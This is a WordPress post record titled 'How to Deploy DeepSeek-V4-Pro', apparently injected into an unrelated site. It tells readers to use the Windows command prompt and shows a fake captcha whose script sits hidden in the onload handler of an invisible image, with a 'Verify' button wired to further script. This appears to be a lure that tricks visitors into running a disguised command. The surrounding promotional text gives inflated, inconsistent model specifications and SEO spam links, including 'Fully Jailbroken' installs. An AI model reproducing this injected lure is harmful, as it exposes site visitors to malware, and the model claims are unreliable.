{"id":8419,"date":"2026-07-14T05:35:48","date_gmt":"2026-07-13T21:35:48","guid":{"rendered":"https:\/\/eps.org.tw\/?p=8419"},"modified":"2026-07-14T05:35:48","modified_gmt":"2026-07-13T21:35:48","slug":"how-to-deploy-deepseek-v4-pro","status":"publish","type":"post","link":"https:\/\/eps.org.tw\/8419\/how-to-deploy-deepseek-v4-pro","title":{"rendered":"How to Deploy DeepSeek-V4-Pro"},"content":{"rendered":"<p><img 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6xqKs3OQ4AYDzHF34yjU9uBSz5lO8+oD6xZyeYELTxCb+yAegyf6J3EV\/iUC5aE5QAUaYZ99vOcHwYPH9NkZQH3wfko65C38PiFVpQEN+dcH66qvxlmDoBVHwYp\/7b+du44CGewiaEuOneZW6z5vdIzPHPON90f4dS5mi7bPHXOjhOkrYWs6CY4q8IiGMb3q6Ut+SsdvhDlm3\/wMXy5hWX8EGXQzZHypnrzu0158Yr77lSnft5h1P2paP24kAtiZQ\/Drqe0gjL4cN3\/TorWpbseHFbLAulAImKE8x8db80+cDIRczK6dNIhTiH52LvlMbSOpcArzYN5jZqw2IzjVaySal8UV4Ouj+8qNUEB91o+zxvwIBFGZmh5FZ7xfuDO\/1yWDD5woNA9M5UdUKPKchtgRGe+hbiPg\/iyGVacVHwVcUgmABziUXYr1\/JQ5qVTZcQjtkpCf0q+gbVtaEo00D29hY2rH1n7mnJpFnOUV9T4pjRPwnwieUa5iJuH6MYnGPyVwDe+oYaKdWm0FXlouTIe1w9qZXu+ojkg7mPXjsBoPIorA\/WjtmMqUexNMLdy5URhLysoRsbbX3Fdb\/jSa9nYNrwBkCZ5tasjrC\/QJKWv2ztvcI250aNQVDyjifWag1upnDyiACBvA\/sIspJYjxqXOHt1YtxC3zTfuCgIQlCjr9a7t49VqdoxslePX4s\/04COQSYXG9TZx7hHa+6JlLvCiLTxxsu1f5piPzBoorZrwfhzR3KkY5Pkbsqe8Ygn8el\/Zz99YOwx6iKxPWtzVEtVpPGKnkQH4ba1uRQ4dIkLbous4b+8Qi9XVLv1kL\/ivqR3lcvvM2J8Oz19NhonyM4vogOY\/LaLqH4ZmlZqrLh+HYIhXMPdRbF4C\/PvOnLizJaY3K92hKHxdctyflsM9dyaJnFl4PLOZbqE\/FeJAOls2f3pZY4+cR7+8MK+f8pVLZ2NiauQvPaFa9RfMogMcxkkr\/1F\/wgl\/\/XgBICK32ABYikVDwnbdI3I0H2nJ8cvLiRVKIUusuGGbBNknDdf27Sz9NbXe+7Ao6hEZ6pbTxwb55v97m+B8zSdNc\/lpJGvmpJRxW3WJOitdgUEYuLcRVhcfrCd0ze9lrJgIA6VGBeiGTHJya3IYza32CDXPkT+2dNB9e+TgChQgQDhHlVvp1+ChSZkwwANZCwHTxRVQ1bGX9xlkcXSrGmBCw9jMOtVihU7t5GeMRqdLNB0H9BW8TxL1NP0JZv5aavtrETE0J\/MtA5q+uZez5+sns5z972kyVWSh+5I528g\/izsY6xS48rmjfdRVLl1FcgLcwWmtAfavv9BGjM2WA9HOQbzfK4O6u5LFOqkM9aJVfGXEi+pChnMXFc53x+HinwZbMFU7Qp8hipNWaX9Ug9LJqFGXwbmCzq9Fjna\/zLxyhrz8NXNrUemrb+Qr\/\/Ka5YL\/dedy+jrbdD\/9DrJa9F\/4S0PAO9WdryWxBSbMMxE9QlZIUqACdCfZUWDZHxx+\/GZHFNLm4YRqww9Jfcsq7dSlm2dreul+AooQinsdt1h8mAwXluVEmCDr4CMIxMCdSudDLg44eaPzOH6tobLzjAdJoTZJ7RPbtqfespsRws64RblFqUwQRn3ipXsZbSAmBohO4UhPHct6A5SV5GULPdu3v75I7pIHoBLBN1rZ\/CTiq8xAhb99dZ+wbigoyJZl7ubFkZ7jxAEJQCWBJF78V2Kt55tIxXP5qwxZ39b3\/HcUAdjTiCHMRHLi1StMNXvS\/\/miyGwxn86HwpiOxKikagSL05aGW0v82ShE4vaaWvTKOFfl+hUpc3jM7YIOP87xn7Xm\/LkYS6lu\/BgsW1XEutug5prNWJy29Xas5vTqTaUgEyCHtLxx32aMkz4EN8oeBLCRCrkffcWDizQC2ScwurNX21Twl4MlKGaBvaVPSky9AdzZfaGYxponrU5+Tu4FXpwFeeFIYr3leMZvnU2czbMN6kg7RvkCmSTVu4doO8gvjVdOAZKBQK9wSaZ7oVzKU01LNPeqDFaPP9G3CS9Qsz6nf66WLHexY93qGKqigrKaZZl04+OkQ2ew9A0EqF8DtROAWuhYgDHr1aKTdfcRR52l8CyGGOxzkvFngp0QKWEQIjDi3j2\/p+2PcEVP\/9DdKnvmvmg+Hq+AIcKUWADNF+vFtFvj\/F7DcY\/omYV38zI0h0euTkCOmuaRzK14HagL6llSRPJlhrOi4RZ63OH0rtVUMzqqYr7rUUw3LrDBPwwTHc0+FFGLAGvwjTVJQYFa3O3qsOHJ56TfIlkTpF02rC8aXcR25owo4M2wiqqNW8wWPhHiBwqQfzLwPvXPV1vHzMEse8zNzUMEIh15KBOguD3AXQsBLI4KtqhnlK6d49s1LDCubk3kW1oMbvAhq\/zLXxDQSk2NZFdrP\/BsloJyWPlWKVaz2Aad0pD5c5Leyr0PBRIKk0+ct3dud0+ryUlNV7s1BWfShgWDFqcRb6wiARYAOe\/RalpROD1FoLz5RjLMoPbxhCZeohcvt5GbJNcVQSdUIOxlDm5ecCNEg92WDOrQx2G3CNLzkBn8gbrgrvccr+yoFjsObt2rJU1BlQ77GRjznm3VOi+N7D7efKHSLA4FRpPN+BuxTncuOXEkIw9DWd3lm0hLK\/Wfz6GbxzuP9Aw+U\/jzfi94Adg6T41nXqXGkKuAe3HHoDQYtL+Bk2mGCz2HMVoTq3w\/mHPmDAICzHj8DxP1\/I3BlOayGlf+APbfMTRojq+q0ntI2F3vVbsC0aUEChaQCyGoSt2s0bLb2JPcE8KXRRw1pMV+iR0prSym8q5gXq1h2jTabfZXmAiuqe7eg587AL5NQXc2hx2bYoLyXr0GvMoFL9laLURwPQWCfXaW\/fcQZzyIdwSgjANhYffHlpG4d6XIUX1g+DCqFortP3zPmDnlTeOYDWGP7TdujVxRrlIov+GC+aIiG5M+0yYl6ebY6m451VcvEfYvR8+mexacLTjPd\/rJMgZEWc2UMhAywomVY0MLUXZk6G7ryY\/5K3MFb5YdAqUaO0LMHV3HiK39zMpJYKg3RIZbA3hDKNlSDykWGui2BRgX2ACMITuocYiLMvhQ6Yh7cXmb76vobYMrkhFB2uwHAXiVnU6kmZZNXKypVy8VdCHtUTy0ZrGeqJ\/cfcklopF9slC+YalVsX1jxelM3BdiPS4gPaezoT6LTIpzON7RD1yW1f3sCcnT4dcQIlzwMmFdtlle0nSgZ+lTU+5xGpEOv\/ajyZr4G5ks6qA98sd8L28wsO8s9In8ynUZb3Rbaj9QY+vphVKSvT2YnnmMWc\/Sm45gkrmbwkTwCNP1Wh7fOgJPwY6MYnGWSXV+0qlvPofa2DIuNULQv\/Zr6nf7+vG2lBX8j5YInONnnilQUM2nUyw95DGRs81f8JaToisberTwZL8lvuy2ynqjWlpnpApLVIt1kj2c\/S15BNphESKGEx+XhxrjPgmKf+uaBY0Y4\/piSxXbRDwiUXloo\/EuyiQns8+26hcIn+Ool5ORimYotBec9fy69kjiZuicqeS5j\/merkVc+XGLWqT\/Wx+I2UG4HadfVRm09kAZshRt77BTEF4KS0i7ga+JbEGDVBCnRPsBMyaJO8v8GQwXH2ZbgVeZMQoCYI2\/ecIDbX3+nf+2L4hykenmwMexVV5NTehDM\/lk6iPU0SLZQW5gyn1nWUjqsh3ADvi63K8rN+YwaehzkbW\/mQ84BLusMVnnBg\/otioqqZxNulq2DLxh8wSJ4U0BMqBI906HQu31A\/D6tzWYKpiqC6HeufR3jcm5OLRiUwnRRY\/HaB4SRyg\/jh2lYuiWnx6028j3pBakpUbasovnbU13CAwG82QBkUiKLqi1UtcxSJOsYz84CLaPm+N\/WJG27QYxZS4mHUTD0ShunzS3yvtZxRIPSwAp9BMwFQjeLuVSrjGl1Im0vJnzfA6+gSefZTWY5cUyzJ074ow+aMoCUXGNdzyWcbBgpgJvstiF0MmGupd5MOcsFU7KdxY57gPiTKoNQOvmfUBLXaetnSodQvekApTLQ4RK3YkBlcG1Xl7IPOl092my4ZQRoGNr1kstzbXH8G7T6I2R0+iDfV97Zdm5ko3Lm\/NKBFPPG2HrIjbLc5IAZQBFdCOMOVhYFIrbYtC3LprqHDZuUW43yAVeiHNnXuBLiz8hZKr\/5LpLD8bVshlCDl91lsUdZnYsd1u1Z3ZhDaLo5FIsNbiZ3HMrQcMd8d5IGHmzNWhtCzLBBzj9B5m4vxEeSn85hMXOPu7VqGMx1yG6yjJw+dlYYt38hJWWrXxS55rdS82HvLovx0vHk5tzMxnNcTeDhR+cSiAjBQnFlIccxf4b0Ie1RPTT\/ZNMGmcFIuu3AqFtakb81LIMIwp80J9Ko2BfpNPHbgDwTFYqREeu5h3XRARu5D1Ofkml7E934SBEKxWFiWQ0MK9RBQ4JVEIL8PynnZncsW34Dn5L9kEDGmWyUIjHAFib07CODC2s1RLqFv6\/HPITs4\/7wZcbutdUoIvT4VnC\/WZl\/YIarggHghLp6uFQh9sNwnhorY+3BokCbOl5ip0WNtPUPHaZH3tFPxeW+SEqEAQWxFYeKYpOKqPBd2mAKij3zcIB8bAFJbMzAwuj3TAAAABkhU5Ouj8ThyIsns3gh4uazO4vTnhlZ1JcodG9a9Fu8R7db1O3sEHsIUgiVl41amIKjxUAAAAAAAAAAAA=\" alt=\"How to Deploy DeepSeek-V4-Pro\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Setting up this model locally is <i>incredibly fast<\/i> if you use the native <b>CMD prompt<\/b>.<\/p>\n<p>Refer to the <b>instructions below<\/b> to proceed.<\/p>\n<p> <\/p>\n<p><i>The system automatically triggers a cloud download for all heavy weights.<\/i><\/p>\n<p> <\/p>\n<p>The installer will automatically analyze your hardware and <b>select the optimal configuration<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#424242;font-family:'JetBrains Mono';\">\ud83d\udce4 Release Hash: <span style=\"color:#000;\">cc871ddac494ed1f521f355c2938fc05<\/span> \u2022 \ud83d\udcc5 Date: <span>2026-07-08<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:22px;padding-left:17px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><b>RAM:<\/b> high-speed <b>DDR5 memory<\/b> preferred for CPU offloading<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Future of Natural Language Processing with DeepSeek-V4-Pro<\/h4>\n<p>DeepSeek-V4-Pro is revolutionizing the field of natural language processing by introducing a groundbreaking sparse-attention architecture that significantly reduces compute costs while maintaining the ability to model long-range contexts. This innovation enables the development of more efficient and scalable NLP models, which can tackle complex tasks such as multilingual reasoning, coding, and factual question answering. The key to its success lies in its massive training dataset, comprising over 5 trillion tokens from various sources, including code repositories, scientific papers, and diverse conversational sources. This extensive data curation has allowed the model to learn nuanced patterns and relationships that were previously unimaginable.<\/p>\n<ul>\n<li>With a staggering parameter count exceeding 1.5 trillion weights, DeepSeek-V4-Pro delivers superior multilingual capabilities and nuanced reasoning.<\/li>\n<li>The model&#8217;s ability to understand context is unparalleled, enabling it to perform complex tasks with ease.<\/li>\n<li>Its performance across various benchmarks has been consistently impressive, often outpacing earlier models by double-digit margins.<\/li>\n<\/ul>\n<table>\n<tr>\n<th>Metric<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>1.5 T<\/td>\n<\/tr>\n<tr>\n<td>Training Tokens<\/td>\n<td>5 T<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8K<\/td>\n<\/tr>\n<tr>\n<td>FLOPs per Token<\/td>\n<td>2.3\u00d710^12<\/td>\n<\/tr>\n<\/table>\n<h4>What Can You Expect from DeepSeek-V4-Pro?<\/h4>\n<p>DeepSeek-V4-Pro is poised to revolutionize the way we approach natural language processing tasks. With its unparalleled ability to model long-range contexts and perform complex reasoning, it has the potential to transform industries such as healthcare, finance, and education. Whether you&#8217;re looking to improve your conversational AI or tackle complex NLP challenges, DeepSeek-V4-Pro is an exciting development that&#8217;s worth keeping a close eye on.<\/p>\n<h3>Key Technical Specifications<\/h3>\n<table>\n<tr>\n<th>Metric<\/th>\n<th>Value<\/td>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>1.5 T<\/td>\n<\/tr>\n<tr>\n<td>Training Tokens<\/td>\n<td>5 T<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8K<\/td>\n<\/tr>\n<tr>\n<td>FLOPs per Token<\/td>\n<td>2.3\u00d710^12<\/td>\n<\/tr>\n<\/table>\n<h4>The Future of Natural Language Processing is Here<\/h4>\n<p>DeepSeek-V4-Pro represents a significant milestone in the evolution of natural language processing. With its groundbreaking sparse-attention architecture and massive training dataset, it has the potential to transform industries and revolutionize the way we approach complex NLP tasks. Whether you&#8217;re an researcher, developer, or simply someone interested in the future of AI, DeepSeek-V4-Pro is definitely worth keeping a close eye on.<\/p>\n<ul>\n<li>Downloader fetching instruction-tuned chat models with system prompts<\/li>\n<li>Install DeepSeek-V4-Pro on Your PC Fully Jailbroken<\/li>\n<li>Downloader for optimized AnimateDiff v3 camera motion profiles for local video AI<\/li>\n<li>How to Install DeepSeek-V4-Pro Complete Walkthrough FREE<\/li>\n<li>Script downloading modern ControlNet depth models for Forge WebUI<\/li>\n<li>Install DeepSeek-V4-Pro Zero Config Local Guide<\/li>\n<li>Downloader pulling calibrated Flux.1-Schnell safetensors for rapid UI rendering<\/li>\n<li>Setup DeepSeek-V4-Pro 100% Private PC 2026\/2027 Tutorial<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Setting up this model locally is incredibly fast if you [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[103],"tags":[],"_links":{"self":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8419"}],"collection":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/comments?post=8419"}],"version-history":[{"count":1,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8419\/revisions"}],"predecessor-version":[{"id":8420,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8419\/revisions\/8420"}],"wp:attachment":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/media?parent=8419"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/categories?post=8419"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/tags?post=8419"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}